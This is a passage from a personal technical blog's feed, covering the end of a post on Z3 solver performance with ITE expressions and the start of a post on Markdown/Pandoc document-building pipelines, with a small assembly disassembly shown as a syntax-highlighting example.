&lt;h2 id="experiments-setup"&gt;Experiments setup&lt;/h2&gt;
&lt;p&gt;The 4 functions were tested in &lt;a href="/assets/z3/perf/performance-ite-expr.py"&gt;4 different experiments&lt;/a&gt; or scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;null_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: an 8-bit vector and a simple bitmask operation on it &lt;strong&gt;without&lt;/strong&gt; using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Intended to see the performance of Z3 in a trivial case.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;single_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; on an 8-bit vector and the verification of the results testing 256 possible values.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mix_two_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; twice on two 8-bit vectors, perform a few bitmask operations on them and verify the correctness doing a full search of the 65536 possible values.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encrypt_rounds_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; several times doing several bitmask and shift operations on 32 8-bit vectors. This represents a simplified version of a single round of the AES cipher.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For each experiment, each &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function was tested using the simplified and not-simplified variants.&lt;/p&gt;
&lt;p&gt;Each experiment consisted in create and setup a new &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Solver&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with its &lt;em&gt;own&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;z3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;a href="/assets/z3/perf/perf-results.pq"&gt;measure the time&lt;/a&gt; that it took checking the model: the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time.&lt;/p&gt;
&lt;p&gt;Because Z3 is &lt;strong&gt;not&lt;/strong&gt; deterministic, we ran each experiment at least 20 times with a maximum of 100 times and collected not only the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time but also the &lt;a href="/assets/z3/perf/z3-stats-results.pq"&gt;statistics of the solver&lt;/a&gt; provided by Z3 with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;null_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; actually does &lt;strong&gt;not&lt;/strong&gt; use the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function and it is used to have an idea of how small the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time can be.&lt;/p&gt;
&lt;h2 id="experiments-results"&gt;Experiments results&lt;/h2&gt;
&lt;p&gt;The first thing that we can see is how each &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; performed in each experiment.&lt;/p&gt;
&lt;p&gt;&lt;figure class='fullwidth'&gt;&lt;object style="width: 100%;" class='fullwidth' align='middle' data='/img/z3/perf/mean-check-elapsed-per-func-experiment.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;figcaption&gt;
Mean &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time (y axis) per &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function (x axis). Each subplot corresponds to a different experiment.
&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A few remarks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;null_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; shows a quite stable plot regardless of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; used as expected.&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;single_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mix_two_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; there is little difference if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was simplified or not but it &lt;strong&gt;really made a difference&lt;/strong&gt; for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encrypt_rounds_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The ITE expression of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branch&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; performed better than the others in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;single_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but it was as twice as slow in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mix_two_bitvec_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. &lt;em&gt;Why?&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encrypt_rounds_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; shows some weird results: a simplified &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_branchless&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is incredibly slow while the non-simplified version is incredibly fast, even faster than the rest.&lt;/li&gt;
&lt;li&gt;Moreover, in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encrypt_rounds_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the simplified &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; have different performance but as we shown before, they are the same!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This last item makes me thing, are we seeing an outlier affecting the mean?&lt;/p&gt;
&lt;p&gt;We can rule that out measuring the &lt;em&gt;minimum&lt;/em&gt; instead of the &lt;em&gt;mean&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Minimum &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time (y axis) per &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function (x axis). Each subplot corresponds to a different experiment. Note how the plot has the same shape than before.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/z3/perf/min-check-elapsed-per-func-in-encrypt-experiment.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Nope, same thing.&lt;/p&gt;
&lt;p&gt;Could be this discrepancy be just by luck? We need a measure independent from the time and Z3 tracks several statistics for that.&lt;/p&gt;
&lt;p&gt;It’s unclear what they mean however.&lt;/p&gt;
&lt;p&gt;Exploring a little it seems that there is a relationship between &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s1"&gt;&amp;#39;added eqs&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the elapsed time.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Relation and linear regression between the time that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; took and the amount of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="n"&gt;eqs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. They follow almost a perfect linear relationship.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/z3/perf/rel-check-elapsed-and-added-eqs.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Let’s see how many &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;eqs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; were &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;added&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;encrypt_rounds_experiment&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Mean &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="n"&gt;eqs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (y axis) per &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function (x axis). Each subplot corresponds to a different experiment. Note how the plot has the same shape than before showing a strong relationship between &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="n"&gt;eqs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; time.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/z3/perf/mean-added-eqs-per-func-in-encrypt-experiment.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Same shape that before: for some reason Z3 added more eqs in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_broadcasted&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; than in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xtime_cancelled&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (both simplified) even if both are the same Z3 expressions.&lt;/p&gt;
&lt;p&gt;So the discrepancy is not due the noise: Z3 indeed saw these two as different things.&lt;/p&gt;
&lt;h3 id="code-and-results"&gt;Code and results&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/assets/z3/perf/performance-ite-expr.py"&gt;Experiments (Python code)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/z3/perf/plot.py"&gt;Plotting (Python code)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/z3/perf/perf-results.pq"&gt;Runtime results (Pandas DataFrame in Parquet format)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/assets/z3/perf/z3-stats-results.pq"&gt;Z3 stats (Pandas DataFrame in Parquet format)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;None.&lt;/p&gt;
&lt;p&gt;I’m still missing a lot of pieces of this puzzle.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/06/14/Performance-of-ITE-Expressions.html" rel="alternate" type="text/html" title="Performance of ITE Expressions (incomplete)"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="if ITE" label="if ITE"/>
    <category term="bithack" label="bithack"/>
    <category term="performance" label="performance"/>
    <published>2021-06-14T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/06/12/Document-building-from-static-blog-to-textbook.html</id>
    <title>Document Building: from static web blogs to textbooks</title>
    <updated>2021-06-12T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;I’ve being writing for a long time. I’m far from being a good writer but having the consistency to write at least a blog post every month gave me more expressive power.&lt;/p&gt;
&lt;p&gt;Being a non-English native speaker, that also put me in an uncomfortable position –out of the confort zone– but looking back, even with all my mistakes, I really improved.&lt;/p&gt;
&lt;p&gt;I’m using a bunch of different technologies to assist me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;a href="https://book-of-gehn.github.io"&gt;blog site&lt;/a&gt; is written in &lt;a href="https://guides.github.com/features/mastering-markdown/"&gt;Markdown&lt;/a&gt; and turned into a static web site with &lt;a href="https://jekyllrb.com/"&gt;Jekyll&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;the &lt;a href="https://github.com/eldipa/taller-clases/"&gt;C/C++ lectures&lt;/a&gt; that I give are made with &lt;a href="https://ctan.org/pkg/beamer"&gt;Latex/Beamer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;the &lt;a href="https://github.com/eldipa/guia-taller"&gt;C/C++ textbook&lt;/a&gt; is also in Markdown but it’s compiled into a PDF using &lt;a href="https://pandoc.org/"&gt;Pandoc&lt;/a&gt; and &lt;a href="https://pypi.org/project/foliant/"&gt;Foliant&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And while those have been incredible powerful, I hit the limitations of them in time to time.&lt;/p&gt;
&lt;p&gt;This writeup is meant to brainstorm and design a new way to work.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;I don’t want to have a single tool to do everything. I want to be more humble and less ambitious and diagram a &lt;em&gt;pipeline&lt;/em&gt; flexible enough to help me to simplify and speed up my writings.&lt;/p&gt;
&lt;h2 id="mathematics"&gt;Mathematics&lt;/h2&gt;
&lt;p&gt;Some of my posts are about cryptography, some about logic and certainly I’m going to explore more related fields in the future like quantum computing, mathematics and physics.&lt;/p&gt;
&lt;p&gt;All of these posts have mathematical formulas and symbols.&lt;/p&gt;
&lt;p&gt;Having the ability to write formulas in Markdown is super helpful (for me). I use &lt;em&gt;inline&lt;/em&gt; formulas, like \(E = mc^2\), and &lt;em&gt;block-level&lt;/em&gt; formulas:&lt;/p&gt;
$$K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\
K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\$$
&lt;p&gt;Behind the scenes these are written as:&lt;/p&gt;
$$K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\
K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\$$
&lt;p&gt;The downside is that my Markdown editor believes that those pieces of text are in Markdown notation so the highlighted syntax goes crazy.&lt;/p&gt;
&lt;p&gt;It would be nicer to use Markdown’s code-fenced blocks to make the Markdown engine (and editor) aware of them and turn them into beautiful math symbols later.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
$$K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\
K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\
K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\$$
&lt;p&gt;Neither Jekyll or Pandoc have something like this, but in Pandoc I could write some &lt;a href="https://pandoc.org/filters.html"&gt;Pandoc filter&lt;/a&gt; to turn a Markdown code-fenced block tagged as &lt;code&gt;{.math}&lt;/code&gt; into Tex/Latex.&lt;/p&gt;
&lt;p&gt;And what it means &lt;em&gt;into Tex/Latex&lt;/em&gt; exactly is not trivial.&lt;/p&gt;
&lt;p&gt;For my blog I use &lt;a href="https://www.mathjax.org/"&gt;MathJax&lt;/a&gt; to render Tex/Latex in the browser; for my lectures/textbook, I use a Tex/Latex engine like &lt;a href="https://linux.die.net/man/1/pdflatex"&gt;pdflatex&lt;/a&gt; to get a PDF.&lt;/p&gt;
&lt;p&gt;But how to do it using a single pipeline, &lt;em&gt;I dunno&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="macros"&gt;Macros&lt;/h2&gt;
&lt;p&gt;While Tex/Latex makes beautiful documents, it is not the best language.&lt;/p&gt;
&lt;p&gt;Typing &lt;code&gt;\hat{R}&lt;/code&gt; to get \(\hat{R}\) gets quickly annoying if you have to write \(\hat{R}\) several times.&lt;/p&gt;
&lt;p&gt;In this case I use Tex/Latex &lt;em&gt;macros&lt;/em&gt; to write &lt;code&gt;\R&lt;/code&gt; instead of &lt;code&gt;\hat{R}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what about other non-Tex stuff?&lt;/p&gt;
&lt;p&gt;I write a lot about programming and it’s handy to show code with highlighted syntax:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Those were made with Markdown’s &lt;em&gt;fenced-code blocks&lt;/em&gt; where you &lt;em&gt;tag&lt;/em&gt; the block with the language to you are writing.&lt;/p&gt;
&lt;p&gt;Jekyll doesn’t, but Pandoc supports &lt;em&gt;tagged inline code&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Just type &lt;code&gt;{.python}&lt;/code&gt; after an inline and that’s it but as you may imagine, doing it for each inline code is tedious.&lt;/p&gt;
&lt;p&gt;Most of my posts talks about a single language and my textbook is mostly about C/C++ so why not make all the inline code highlighted with a particular syntax by default?&lt;/p&gt;
&lt;p&gt;Once again, Pandoc’s filters fit perfect for the job.&lt;/p&gt;
&lt;h2 id="fixing-syntax-highlighting"&gt;Fixing syntax highlighting&lt;/h2&gt;
&lt;p&gt;&lt;label for='CmBgYG5hc20KcHduZGJnPiBwZGlzYXNzICZtYWluCiDilrogMHgxMDQ0YyA8bWFpbj4gICAgICAgcHVzaCAgIHtmcCwgbHJ9CiAgIDB4MTA0NTAgPG1haW4rND4gICAgIGFkZCAgICBmcCwgc3AsICM0CiAgIDB4MTA0NTQgPG1haW4rOD4gICAgIHN1YiAgICBzcCwgc3AsICMweDUwCiAgIDB4MTA0NzAgPG1haW4rMzY+ICAgIGJsICAgICAjZ2V0c0BwbHQgPGdldHNAcGx0PgpgYGAKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYG5hc20KcHduZGJnPiBwZGlzYXNzICZtYWluCiDilrogMHgxMDQ0YyA8bWFpbj4gICAgICAgcHVzaCAgIHtmcCwgbHJ9CiAgIDB4MTA0NTAgPG1haW4rND4gICAgIGFkZCAgICBmcCwgc3AsICM0CiAgIDB4MTA0NTQgPG1haW4rOD4gICAgIHN1YiAgICBzcCwgc3AsICMweDUwCiAgIDB4MTA0NzAgPG1haW4rMzY+ICAgIGJsICAgICAjZ2V0c0BwbHQgPGdldHNAcGx0PgpgYGAKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1044c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10450&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10454&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10470&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For the blog, the code is highlighted with &lt;a href="https://github.com/rouge-ruby/rouge"&gt;Rouge&lt;/a&gt;. It works like a charm but no without some sharp corners.&lt;/p&gt;
&lt;p&gt;Its support for assembly is limited. I cannot blame it, there are a lot of assembly syntaxes out there!&lt;/p&gt;
&lt;p&gt;A hack that I did was to run some Javascript to patch the HTML in runtime and add the missing CSS classes to the unrecognized mnemonics.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;xpath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;.//div[contains(@class,&amp;#39;language-nasm&amp;#39;)]//span[(((text() = &amp;#39;blt&amp;#39;) or (text() = &amp;#39;b&amp;#39;))]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
